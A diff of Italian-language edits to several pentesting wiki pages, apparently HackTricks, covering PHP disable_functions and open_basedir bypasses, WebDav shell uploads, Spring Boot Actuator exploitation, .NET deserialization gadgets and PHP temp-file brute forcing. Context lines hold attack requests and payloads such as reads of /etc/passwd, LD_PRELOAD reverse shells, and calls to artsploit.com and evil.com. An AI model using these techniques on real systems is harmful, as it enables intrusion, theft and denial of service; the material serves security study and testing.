||||
@ -1,4 +1,4 @@
|
||||
# PHP - Funzioni Utili e bypass di disable_functions/open_basedir
|
||||
# PHP - Funzioni Utili & bypass di disable_functions/open_basedir
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -86,7 +86,7 @@ Entrambe le configurazioni possono essere viste nell'output di **`phpinfo()`**:
|
||||
## open_basedir Bypass
|
||||
|
||||
`open_basedir` configurerà le cartelle a cui PHP può accedere, **non sarai in grado di scrivere/leggere/eseguire alcun file al di fuori** di quelle cartelle, ma **non sarai nemmeno in grado di elencare** altre directory.\
|
||||
Tuttavia, se in qualche modo riesci a eseguire codice PHP arbitrario, puoi **provare** il seguente blocco di **codice** per cercare di **bypassare** la restrizione.
|
||||
Tuttavia, se in qualche modo riesci a eseguire codice PHP arbitrario, puoi **provare** il seguente blocco di **codici** per cercare di **bypassare** la restrizione.
|
||||
|
||||
### Elencare le directory con il bypass glob://
|
||||
|
||||
@ -108,7 +108,7 @@ echo "{$f}<br/>";
|
||||
}
|
||||
```
|
||||
**Nota1**: Nel percorso puoi anche usare `/e??/*` per elencare `/etc/*` e qualsiasi altra cartella.\
|
||||
**Nota2**: Sembra che parte del codice sia duplicata, ma in realtà è necessario!\
|
||||
**Nota2**: Sembra che parte del codice sia duplicato, ma in realtà è necessario!\
|
||||
**Nota3**: Questo esempio è utile solo per elencare le cartelle, non per leggere i file.
|
||||
|
||||
### Bypass completo di open_basedir abusando di FastCGI
|
||||
@ -472,13 +472,13 @@ $params = array(
|
||||
echo $client->request($params, $code)."\n";
|
||||
?>
|
||||
```
|
||||
Questi script comunicheranno con il **unix socket di php-fpm** (di solito situato in /var/run se fpm è utilizzato) per eseguire codice arbitrario. Le impostazioni di `open_basedir` verranno sovrascritte dall'attributo **PHP_VALUE** che viene inviato.\
|
||||
Questi script comunicheranno con il **unix socket di php-fpm** (di solito situato in /var/run se viene utilizzato fpm) per eseguire codice arbitrario. Le impostazioni di `open_basedir` verranno sovrascritte dall'attributo **PHP_VALUE** che viene inviato.\
|
||||
Nota come `eval` viene utilizzato per eseguire il codice PHP che invii all'interno del parametro **cmd**.\
|
||||
Nota anche la **linea commentata 324**, puoi decommentarla e il **payload si connetterà automaticamente all'URL fornito ed eseguirà il codice PHP** contenuto lì.\
|
||||
Basta accedere a `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` per ottenere il contenuto del file `/etc/passwd`.
|
||||
|
||||
> [!WARNING]
|
||||
> Potresti pensare che proprio come abbiamo sovrascritto la configurazione di `open_basedir`, possiamo **sovrascrivere `disable_functions`**. Bene, prova, ma non funzionerà, apparentemente **`disable_functions` può essere configurato solo in un file di configurazione `.ini` php** e le modifiche che esegui utilizzando PHP_VALUE non saranno efficaci su questa impostazione specifica.
|
||||
> Potresti pensare che proprio nello stesso modo in cui abbiamo sovrascritto la configurazione di `open_basedir` possiamo **sovrascrivere `disable_functions`**. Bene, prova, ma non funzionerà, apparentemente **`disable_functions` può essere configurato solo in un file di configurazione `.ini` di php** e le modifiche che esegui utilizzando PHP_VALUE non saranno efficaci su questa impostazione specifica.
|
||||
|
||||
## Bypass di disable_functions
|
||||
|
||||
@ -493,7 +493,7 @@ Puoi utilizzare lo strumento [https://github.com/teambi0s/dfunc-bypasser](https:
|
||||
|
||||
Torna all'inizio di questa pagina e **controlla se una delle funzioni di esecuzione dei comandi non è disabilitata e disponibile nell'ambiente**. Se ne trovi solo 1, sarai in grado di usarla per eseguire comandi di sistema arbitrari.
|
||||
|
||||
### Bypass LD_PRELOAD
|
||||
### Bypass di LD_PRELOAD
|
||||
|
||||
È ben noto che alcune funzioni in PHP come `mail()` andranno a **eseguire binari all'interno del sistema**. Pertanto, puoi abusarne utilizzando la variabile di ambiente `LD_PRELOAD` per farle caricare una libreria arbitraria che può eseguire qualsiasi cosa.
|
||||
|
||||
@ -501,12 +501,12 @@ Torna all'inizio di questa pagina e **controlla se una delle funzioni di esecuzi
|
||||
|
||||
- **`mail`**
|
||||
- **`mb_send_mail`**: Efficace quando il modulo `php-mbstring` è installato.
|
||||
- **`imap_mail`**: Funziona se il modulo `php-imap` è presente.
|
||||
- **`imap_mail`**: Funziona se è presente il modulo `php-imap`.
|
||||
- **`libvirt_connect`**: Richiede il modulo `php-libvirt-php`.
|
||||
- **`gnupg_init`**: Utilizzabile con il modulo `php-gnupg` installato.
|
||||
- **`new imagick()`**: Questa classe può essere abusata per bypassare le restrizioni. Tecniche di sfruttamento dettagliate possono essere trovate in un [**writeup qui**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
|
||||
|
||||
Puoi [**trovare qui**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) lo script di fuzzing che è stato utilizzato per trovare queste funzioni.
|
||||
Puoi [**trovare qui**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) lo script di fuzzing che è stato utilizzato per trovare quelle funzioni.
|
||||
|
||||
Ecco una libreria che puoi compilare per abusare della variabile di ambiente `LD_PRELOAD`:
|
||||
```php
|
||||
@ -524,10 +524,10 @@ return 1;
|
||||
#### Bypass usando Chankro
|
||||
|
||||
Per abusare di questa misconfigurazione puoi [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Questo è uno strumento che **genera un exploit PHP** che devi caricare sul server vulnerabile ed eseguirlo (accedendovi tramite web).\
|
||||
**Chankro** scriverà all'interno del disco delle vittime la **libreria e la reverse shell** che desideri eseguire e utilizzerà il\*\*`LD_PRELOAD` trick + la funzione PHP `mail()`\*\* per eseguire la reverse shell.
|
||||
**Chankro** scriverà all'interno del disco della vittima la **libreria e la reverse shell** che desideri eseguire e utilizzerà il **trucco `LD_PRELOAD` + la funzione PHP `mail()`** per eseguire la reverse shell.
|
||||
|
||||
Nota che per utilizzare **Chankro**, `mail` e `putenv` **non possono apparire all'interno della lista `disable_functions`**.\
|
||||
Nell'esempio seguente puoi vedere come **creare un exploit chankro** per **arch 64**, che eseguirà `whoami` e salverà l'output in _/tmp/chankro_shell.out_, chankro **scriverà la libreria e il payload** in _/tmp_ e il **final exploit** sarà chiamato **bicho.php** (questo è il file che devi caricare sul server delle vittime):
|
||||
Nell'esempio seguente puoi vedere come **creare un exploit chankro** per **arch 64**, che eseguirà `whoami` e salverà l'output in _/tmp/chankro_shell.out_, chankro **scriverà la libreria e il payload** in _/tmp_ e il **final exploit** sarà chiamato **bicho.php** (questo è il file che devi caricare sul server della vittima):
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="shell.sh"}}
|
||||
@ -545,7 +545,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
|
||||
{{#endtabs}}
|
||||
|
||||
Se scopri che la funzione **mail** è bloccata da funzioni disabilitate, potresti comunque essere in grado di utilizzare la funzione **mb_send_mail.**\
|
||||
Maggiori informazioni su questa tecnica e Chankro qui: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
|
||||
Maggiore informazione su questa tecnica e Chankro qui: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
|
||||
|
||||
### "Bypass" utilizzando le capacità di PHP
|
||||
|
||||
@ -553,17 +553,17 @@ Nota che utilizzando **PHP** puoi **leggere e scrivere file, creare directory e
|
||||
Puoi persino **dumpare database**.\
|
||||
Forse utilizzando **PHP** per **enumerare** la macchina puoi trovare un modo per elevare i privilegi/eseguire comandi (ad esempio leggendo alcune chiavi ssh private).
|
||||
|
||||
Ho creato un webshell che rende molto facile eseguire queste azioni (nota che la maggior parte dei webshell ti offrirà anche queste opzioni): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||||
Ho creato una webshell che rende molto facile eseguire queste azioni (nota che la maggior parte delle webshell ti offrirà anche queste opzioni): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||||
|
||||
### Bypass dipendenti da moduli/versioni
|
||||
|
||||
Ci sono diversi modi per bypassare disable_functions se viene utilizzato un modulo specifico o sfruttare una versione specifica di PHP:
|
||||
|
||||
- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
|
||||
- [**Bypass con FFI - Interfaccia Funzione Esterna abilitata**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
|
||||
- [**Bypass con FFI - Foreign Function Interface abilitato**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
|
||||
- [**Bypass tramite mem**](disable_functions-bypass-via-mem.md)
|
||||
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
|
||||
- [**Estensione PHP Perl Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
|
||||
- [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
|
||||
- [**funzione dl**](disable_functions-bypass-dl-function.md)
|
||||
- [**Questo exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
|
||||
- 5.\* - sfruttabile con piccole modifiche al PoC
|
||||
@ -586,14 +586,14 @@ Ci sono diversi modi per bypassare disable_functions se viene utilizzato un modu
|
||||
|
||||
### **Strumento Automatico**
|
||||
|
||||
Lo script seguente prova alcuni dei metodi commentati qui:\
|
||||
Il seguente script prova alcuni dei metodi commentati qui:\
|
||||
[https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php)
|
||||
|
||||
## Altre funzioni PHP interessanti
|
||||
|
||||
### Elenco di funzioni che accettano callback
|
||||
|
||||
Queste funzioni accettano un parametro stringa che potrebbe essere utilizzato per chiamare una funzione a scelta dell'attaccante. A seconda della funzione, l'attaccante potrebbe o meno avere la possibilità di passare un parametro. In tal caso, una funzione di divulgazione delle informazioni come phpinfo() potrebbe essere utilizzata.
|
||||
Queste funzioni accettano un parametro stringa che potrebbe essere utilizzato per chiamare una funzione a scelta dell'attaccante. A seconda della funzione, l'attaccante potrebbe avere o meno la possibilità di passare un parametro. In tal caso, una funzione di divulgazione delle informazioni come phpinfo() potrebbe essere utilizzata.
|
||||
|
||||
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
|
||||
|
||||
@ -677,7 +677,7 @@ posix_setuid
|
||||
```
|
||||
### Funzioni del File System
|
||||
|
||||
Secondo RATS, tutte le funzioni del file system in php sono pericolose. Alcune di queste non sembrano molto utili per l'attaccante. Altre sono più utili di quanto si possa pensare. Ad esempio, se allow_url_fopen=On, allora un URL può essere utilizzato come percorso di file, quindi una chiamata a copy($\_GET\['s'], $\_GET\['d']); può essere utilizzata per caricare uno script PHP ovunque nel sistema. Inoltre, se un sito è vulnerabile a una richiesta inviata tramite GET, ognuna di quelle funzioni del file system può essere abusata per canalizzare e attaccare un altro host attraverso il tuo server.
|
||||
Secondo RATS, tutte le funzioni del file system in php sono pericolose. Alcune di queste non sembrano molto utili per l'attaccante. Altre sono più utili di quanto si possa pensare. Ad esempio, se allow_url_fopen=On, allora un URL può essere utilizzato come percorso di file, quindi una chiamata a copy($\_GET\['s'], $\_GET\['d']); può essere utilizzata per caricare uno script PHP ovunque nel sistema. Inoltre, se un sito è vulnerabile a una richiesta inviata tramite GET, ognuna di quelle funzioni del file system può essere abusata per canalizzare un attacco a un altro host attraverso il tuo server.
|
||||
|
||||
**Gestore del file system aperto**
|
||||
```php
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso **il caricamento e l'esecuzione di un webshell**.
|
||||
Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso il **caricamento e l'esecuzione di un webshell**.
|
||||
|
||||
L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle.
|
||||
|
||||
Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti:
|
||||
|
||||
- **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati.
|
||||
- **Caricare** file con **estensioni eseguibili** direttamente se non ci sono restrizioni.
|
||||
- **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile.
|
||||
- **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile.
|
||||
|
||||
@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
## IIS5/6 WebDav Vulnerability
|
||||
|
||||
Questa vulnerabilità è molto interessante. Il **WebDav** **non consente** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **bypassare** questo **aggiungendo** alla fine del nome **";.txt"** e il file sarà **eseguito** come se fosse un file .asp (puoi anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
|
||||
Questa vulnerabilità è molto interessante. Il **WebDav** non **consente** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **bypassare** questo **aggiungendo** alla fine del nome **";.txt"** e il file sarà **eseguito** come se fosse un file .asp (puoi anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
|
||||
|
||||
Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo in un file ".asp;.txt"**. Accedendo a quel file tramite il server web, esso sarà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato).
|
||||
|
||||
@ -47,8 +47,8 @@ Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo i
|
||||
|
||||
## Post credentials
|
||||
|
||||
Se il Webdav stava usando un server Apache dovresti controllare i siti configurati in Apache. Comunemente:\
|
||||
\_**/etc/apache2/sites-enabled/000-default**_
|
||||
Se il Webdav stava usando un server Apache, dovresti controllare i siti configurati in Apache. Comunemente:\
|
||||
_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
All'interno potresti trovare qualcosa come:
|
||||
```
|
||||
|
||||
@ -58,7 +58,7 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
|
||||
- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache
|
||||
- Comportamento simile nell'header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata nella cache di nuovo: `Cache-Control: public, max-age=1800`
|
||||
- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave di cache** anche se normalmente non sono chiave.
|
||||
- **`Age`** definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** indica anche che una risorsa è stata memorizzata nella cache
|
||||
@ -72,7 +72,7 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
- `Clear-Site-Data`: Header per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contiene la data/ora in cui la risposta dovrebbe scadere: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` stesso di `Cache-Control: no-cache`
|
||||
- `Warning`: L'header HTTP generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un header `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: L'header generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un header `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
|
||||
@ -93,13 +93,13 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
- **`Content-Length`:** La dimensione della risorsa, in numero decimale di byte.
|
||||
- **`Content-Type`**: Indica il tipo di media della risorsa
|
||||
- **`Content-Encoding`**: Usato per specificare l'algoritmo di compressione.
|
||||
- **`Content-Language`**: Descrive la/e lingua/e umana/e destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Language`**: Descrive la lingua umana o le lingue destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Location`**: Indica una posizione alternativa per i dati restituiti.
|
||||
|
||||
Dal punto di vista di un pentest, queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e riesci a trovare un **modo** per **ottenere** queste **info**, questo potrebbe essere **interessante.**\
|
||||
Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD può rivelare il contenuto della pagina tramite richieste HEAD:
|
||||
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che lo SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
|
||||
@ -113,7 +113,7 @@ Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD p
|
||||
|
||||
## Downloads
|
||||
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Per esempio:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -129,7 +129,7 @@ Questo significa che il file chiamato "filename.jpg" è destinato ad essere scar
|
||||
|
||||
### **Tipi Fidati**
|
||||
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate a API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,13 +148,13 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Questo header previene il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i MIME type specificati dal server.
|
||||
Questo header previene il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i tipi MIME specificati dal server.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Per combattere il clickjacking, questo header limita come i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente le loro autorizzazioni di incorporamento.
|
||||
Per combattere il clickjacking, questo header limita come i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente i loro permessi di incorporamento.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Da** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
||||
**Da** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Sfruttare i Spring Boot Actuators
|
||||
|
||||
@ -27,7 +27,7 @@
|
||||
- URL di esempio per lo sfruttamento: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modifica della Configurazione tramite '/env'**:
|
||||
|
||||
- Se sono presenti le Spring Cloud Libraries, l'endpoint `/env` consente la modifica delle proprietà ambientali.
|
||||
- Se le librerie Spring Cloud sono presenti, l'endpoint `/env` consente la modifica delle proprietà ambientali.
|
||||
- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel serviceURL di Eureka.
|
||||
- Richiesta POST di esempio per lo sfruttamento:
|
||||
|
||||
@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- I dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 possono essere trovati [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso**:
|
||||
|
||||
- La gestione dei parametri di matrice (`;`) nei nomi dei percorsi HTTP da parte del framework Spring può essere sfruttata per Server-Side Request Forgery (SSRF).
|
||||
- La gestione dei parametri di matrice (`;`) nel framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF).
|
||||
- Richiesta di esempio per lo sfruttamento:
|
||||
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -32,7 +32,7 @@ Nota che alla fine del codice viene chiamato `this.QueryWorke(null)`. Vediamo co
|
||||
|
||||
Nota che questo non è il codice completo della funzione `QueryWorker`, ma mostra la parte interessante: Il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga in cui viene **invocato il metodo impostato**.
|
||||
|
||||
Se vuoi controllare che impostando semplicemente il _**MethodName**_\*\* verrà eseguito\*\*, puoi eseguire questo codice:
|
||||
Se vuoi controllare che impostando semplicemente il _**MethodName**_** venga eseguito**, puoi eseguire questo codice:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -56,10 +56,10 @@ Nota che devi aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Questa classe consente di **specificare i tipi di oggetti degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_\*\* all'interno di un'istanza di \*\*_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.
|
||||
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza di **_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.
|
||||
|
||||
Puoi controllare questo wrapper con il seguente codice:
|
||||
```java
|
||||
|
||||
@ -33,7 +33,7 @@ In questa tecnica **abbiamo solo bisogno di controllare un percorso relativo**.
|
||||
|
||||
I **principali problemi** di questa tecnica sono:
|
||||
|
||||
- Necessità che un file specifico sia presente (potrebbero essercene di più)
|
||||
- Necessità che file specifici siano presenti (potrebbero essercene di più)
|
||||
- L'**insana** quantità di nomi di file potenziali: **56800235584**
|
||||
- Se il server **non utilizza cifre** la quantità totale potenziale è: **19770609664**
|
||||
- Per impostazione predefinita **solo 20 file** possono essere caricati in una **singola richiesta**.
|
||||
@ -41,7 +41,7 @@ I **principali problemi** di questa tecnica sono:
|
||||
- Questo limite con i precedenti può far durare troppo a lungo questo attacco
|
||||
- **Timeout per una richiesta PHP**. Idealmente questo dovrebbe essere eterno o dovrebbe terminare il processo PHP senza eliminare i file temporanei caricati, altrimenti, questo sarà anche un problema
|
||||
|
||||
Quindi, come puoi **far sì che un include PHP non finisca mai**? Basta includere il file **`/sys/kernel/security/apparmor/revision`** (**non disponibile nei container Docker** purtroppo...).
|
||||
Quindi, come puoi **far sì che un include PHP non finisca mai**? Basta includere il file **`/sys/kernel/security/apparmor/revision`** (**non disponibile nei contenitori Docker** purtroppo...).
|
||||
|
||||
Provalo semplicemente chiamando:
|
||||
```bash
|
||||
@ -50,11 +50,11 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
```
|
||||
## Apache2
|
||||
|
||||
Per impostazione predefinita, Apache supporta **150 connessioni concorrenti**, seguendo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) è possibile aggiornare questo numero fino a 8000. Segui questo per utilizzare PHP con quel modulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
Per impostazione predefinita, Apache supporta **150 connessioni concorrenti**, seguendo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) è possibile aumentare questo numero fino a 8000. Segui questo per utilizzare PHP con quel modulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
|
||||
Per impostazione predefinita, (come posso vedere nei miei test), un **processo PHP può durare eternamente**.
|
||||
|
||||
Facciamo un po' di conti:
|
||||
Facciamo qualche calcolo:
|
||||
|
||||
- Possiamo utilizzare **149 connessioni** per generare **149 \* 20 = 2980 file temporanei** con il nostro webshell.
|
||||
- Poi, usa la **ultima connessione** per **brute-forzare** file potenziali.
|
||||
@ -63,22 +63,22 @@ Facciamo un po' di conti:
|
||||
- (senza cifre) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% di probabilità in 93h)
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che nell'esempio precedente stiamo **completamente DoSing altri clienti**!
|
||||
> Nota che nell'esempio precedente stiamo **completamente DoSando altri clienti**!
|
||||
|
||||
Se il server Apache è migliorato e potessimo abusare di **4000 connessioni** (metà del numero massimo). Potremmo creare `3999*20 = 79980` **file** e il **numero** sarebbe **ridotto** a circa **19.7h** o **6.9h** (10h, 3.5h 50% di probabilità).
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP, la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica.
|
||||
